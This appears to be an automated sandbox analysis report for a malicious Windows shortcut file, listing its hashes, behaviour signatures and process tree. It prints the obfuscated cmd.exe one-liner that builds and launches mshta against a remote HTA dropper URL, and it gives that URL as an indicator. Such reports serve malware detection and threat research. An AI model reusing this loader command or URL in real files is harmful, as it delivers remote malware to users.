Analysis
- max time kernel
148s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:39
Static task
static1
Behavioral task
behavioral1
Sample
DOC-293QUK.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-293QUK.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-293QUK.lnk
- Size 665B
- Sample260803-qyahysad67
- SHA256 9d0f8bb8f4db9e66f18d34e2949f12bd3e1ff88eb85058cd3b847adea1bbf226
- MD5 f235af707f7f5f2b18b3e768e1a63e45
- SHA1 a61c5e77fdae3b7385af1e91cb211244d3158f45
- SHA512 571aef19f2ae4fe00c610064db13ea4eebe675f8aeb55605664252833456a388df0b411976ddf851dfca2ad19e7f3cc84f3293d4783e44662158d3645192efb9
- TLSH T1100155006DBD0A04E1B78F3AC0FF031589F939229D62DA280610464E2060A01F7BAF37
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://d4-documentacion.lat/h/estagio1.php?r=304660FD0688
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3428 cmd.exe 4932 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3428 wrote to memory of 4932 3428 cmd.exe 90 PID 4932 wrote to memory of 4900 4932 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-293QUK.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3428 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /C "set NhT=msh&&set ZkDO=ta&&start "" !NhT!!ZkDO! https://d4-documentacion.lat/h/estagio1.php?r=304660FD0688"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4932 -
C:\Windows\System32\mshta.exemshta https://d4-documentacion.lat/h/estagio1.php?r=304660FD06883⤵PID:4900
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